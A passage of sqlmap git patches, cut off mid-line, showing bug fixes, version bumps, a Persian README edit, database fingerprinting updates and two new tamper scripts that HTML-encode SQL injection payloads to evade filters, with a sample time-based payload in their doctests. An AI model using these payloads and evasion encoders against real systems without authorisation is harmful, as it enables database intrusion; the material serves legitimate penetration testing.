From 2382d2654e7bff4aba47fa75b8a87976d87cf462 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Sep 2022 13:00:47 +0200 Subject: [PATCH 001/524] Fixes #5170 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 48bbbc758da..8db52016222 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3708,7 +3708,7 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif "details" in test and "dbms" in test.details: + elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: diff --git a/lib/core/settings.py b/lib/core/settings.py index a98b5201816..b4a70346cfa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.4" +VERSION = "1.6.9.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 111620e395bb1e4a5bed8985de2e56e475debcf8 Mon Sep 17 00:00:00 2001 From: Hoomaan <110151441+N0x01X@users.noreply.github.com> Date: Wed, 14 Sep 2022 00:54:22 +0430 Subject: [PATCH 002/524] Fixing grammar issues of FA readme (#5172) --- doc/translations/README-fa-IR.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index 743a5244aff..baff855a93f 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -7,10 +7,10 @@ -برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند. +برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. -عکس +تصویر محیط ابزار ---- @@ -23,7 +23,7 @@
-برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید. +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. نصب @@ -32,11 +32,11 @@ برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. -طرز استفاده +نحوه استفاده ---- -برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: +برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: @@ -53,7 +53,7 @@
-برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید: +برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
@@ -66,7 +66,7 @@
-برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. +برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. لینک‌ها @@ -74,11 +74,11 @@ * خانه: https://sqlmap.org -* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* تویتر: [@sqlmap](https://twitter.com/sqlmap) +* توییتر: [@sqlmap](https://twitter.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 70665c5d2beece0c6b71d3677fbf690f0c3695f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Sep 2022 22:59:34 +0200 Subject: [PATCH 003/524] Improvement regarding #5171 --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 8 ++++++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 93a0ce40e49..bad824008e3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2045,6 +2045,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.disableHtmlDecoding = False + kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None diff --git a/lib/core/settings.py b/lib/core/settings.py index b4a70346cfa..0007ae9d934 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.0" +VERSION = "1.6.9.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index a15b64de3d5..70bad65e077 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -274,9 +274,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, originalTbl = type(charTbl)(charTbl) - if continuousOrder and shiftTable is None: + if kb.disableShiftTable: + shiftTable = None + elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace - shiftTable = [2, 2, 3, 3, 5, 4] + shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): @@ -358,6 +360,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: @@ -405,6 +408,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: + kb.disableShiftTable = True return None else: retVal = minValue + 1 From a246b8da5eb9feeefefd263eadb07036b737b942 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Sep 2022 16:02:48 +0200 Subject: [PATCH 004/524] Fixes #5182 --- lib/core/settings.py | 2 +- lib/core/target.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0007ae9d934..bf40268bfff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.1" +VERSION = "1.6.9.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index c47b4513094..0b3fe9592a5 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -120,7 +120,10 @@ def process(match, repl): while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: - retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break if kb.customInjectionMark in retVal: From e846209b87f32930a365341fc8f2c566f019452f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Sep 2022 16:34:40 +0200 Subject: [PATCH 005/524] Update regarding #5092 --- lib/core/settings.py | 2 +- lib/request/connect.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bf40268bfff..373501236c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.2" +VERSION = "1.6.9.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0e6eae9b55e..b2d4e8b3111 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1011,9 +1011,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False - conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] - contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) - conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] + contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) + conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) From 7f62572f4358b48b8b8330cd919f53bd14d1dfab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?V=C3=ADctor=20Garc=C3=ADa?= <56491288+takito1812@users.noreply.github.com> Date: Thu, 6 Oct 2022 11:32:31 +0200 Subject: [PATCH 006/524] Add files via upload (#5189) --- tamper/decentities.py | 33 +++++++++++++++++++++++++++++++++ tamper/hexentities.py | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 tamper/decentities.py create mode 100644 tamper/hexentities.py diff --git a/tamper/decentities.py b/tamper/decentities.py new file mode 100644 index 00000000000..4dfb058da34 --- /dev/null +++ b/tamper/decentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in decimal (using code points) all characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#%s;" % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/hexentities.py b/tamper/hexentities.py new file mode 100644 index 00000000000..0bce83bc071 --- /dev/null +++ b/tamper/hexentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#x%s;" % format(ord(payload[i]), "x") + i += 1 + + return retVal From 9c103b3dd698eb63c2eb7f76e1fe35f1b86098cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Oct 2022 11:50:35 +0200 Subject: [PATCH 007/524] Fixes #5187 --- lib/core/settings.py | 2 +- lib/request/connect.py | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 373501236c2..09c95bda7ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.3" +VERSION = "1.6.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index b2d4e8b3111..0b5206b63d8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -587,8 +587,14 @@ class _(dict): if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + while True: + try: + cookies = conf.cj._cookies_for_request(req) + except RuntimeError: # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5187 + time.sleep(1) + else: + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + break if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: From 3f53b2bc05d387c865bd812ef41a406ebe89b7b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Oct 2022 20:12:12 +0200 Subject: [PATCH 008/524] Fixes #5190 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09c95bda7ae..acf9c343362 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.0" +VERSION = "1.6.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6409fea28a0..9bda7b8d55a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -986,7 +986,7 @@ def _format_action_invocation(self, action): argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) elif argv[i].startswith("--drop-cookie"): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) - elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")): + elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) if index is None: From c45cf60fb482ba0fa5d7a883c58ca53a8a236c81 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Oct 2022 20:55:49 +0200 Subject: [PATCH 009/524] Minor update of fingerprinting data --- data/xml/banner/generic.xml | 2 +- data/xml/banner/server.xml | 8 ++++++-- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 3 ++- plugins/dbms/mysql/fingerprint.py | 4 ++-- plugins/dbms/postgresql/fingerprint.py | 4 +++- 6 files changed, 15 insertions(+), 8 deletions(-) diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 0fcd3d3ec13..fc2fb97f59a 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + diff --git a/data/xml/banner/server.xml b/data/xml/banner/server.xml index 1122d822c1b..4d99cade0bd 100644 --- a/data/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -10,7 +10,7 @@ - + @@ -878,7 +878,11 @@ - + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index acf9c343362..11ea6e898f1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.1" +VERSION = "1.6.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index d96e9408c95..709a4f030e3 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -89,6 +89,7 @@ def checkDbms(self): logger.info(infoMsg) for version, check in ( + ("2022", "CHARINDEX('16.0.',@@VERSION)>0"), ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), ("2017", "TRIM(NULL) IS NULL"), @@ -151,7 +152,7 @@ def checkDbmsOs(self, detailed=False): "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)), - "10 or 2016 or 2019": ("10.0", (0,)) + "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) } # Get back-end DBMS underlying operating system version diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index c9aae79c53e..e004ad5ad6e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -47,11 +47,11 @@ def _commentCheck(self): versions = ( (80000, 80029), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50737), # MySQL 5.7 + (50700, 50739), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 - (50100, 50174), # MySQL 5.1 + (50100, 50175), # MySQL 5.1 (50000, 50097), # MySQL 5.0 (40100, 40131), # MySQL 4.1 (40000, 40032), # MySQL 4.0 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 93696c9d3e5..3cbde60eb2a 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -131,7 +131,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"): + if inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + Backend.setVersion(">= 14.0") + elif inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"): Backend.setVersion(">= 13.0") elif inject.checkBooleanExpression("SINH(0)=0"): Backend.setVersion(">= 12.0") From bf4f84b70a8ca10b233fddd430c8397d0ebac277 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Oct 2022 11:13:59 +0200 Subject: [PATCH 010/524] Fixes #5191 --- lib/core/agent.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 24c498e6d68..b3f8700825c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -581,7 +581,7 @@ def getFields(self, query): """ prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" - fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) + fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) @@ -729,7 +729,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) + topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: diff --git a/lib/core/settings.py b/lib/core/settings.py index 11ea6e898f1..fc9273427ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.2" +VERSION = "1.6.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1092dfb87799ceb83816d8be5589ba49fe7d99ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Oct 2022 11:27:11 +0200 Subject: [PATCH 011/524] Patch related to the #5192 --- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8db52016222..dac525d76e2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4269,7 +4269,8 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) + if conf.db.lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index fc9273427ea..80cf1e68681 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.3" +VERSION = "1.6.10.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d7ee423fc5274c18ff6fcb4348ec960bb3b8bf6c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 11:35:58 +0200 Subject: [PATCH 012/524] Fixes #5202 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index dac525d76e2..8f29e086a0e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4269,7 +4269,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - if conf.db.lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 80cf1e68681..f53bafe24f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.4" +VERSION = "1.6.10.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From aa9cc3987ed28c2fba24d92eeef71a8cd3e3b510 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 11:52:22 +0200 Subject: [PATCH 013/524] Implements option --csrf-data (#5199) --- lib/core/option.py | 4 ++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 2 +- sqlmap.conf | 3 +++ 6 files changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index bad824008e3..78b2f62b2f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2733,6 +2733,10 @@ def _basicOptionValidation(): errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) + if conf.csrfData and not conf.csrfToken: + errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ef5d413f695..8dc37e262fa 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -64,6 +64,7 @@ "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", + "csrfData": "string", "csrfRetries": "integer", "forceSSL": "boolean", "chunked": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index f53bafe24f0..d0221891f23 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.5" +VERSION = "1.6.10.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9bda7b8d55a..11e4cff9423 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -276,6 +276,9 @@ def cmdLineParser(argv=None): request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") + request.add_argument("--csrf-data", dest="csrfData", + help="POST data to send during 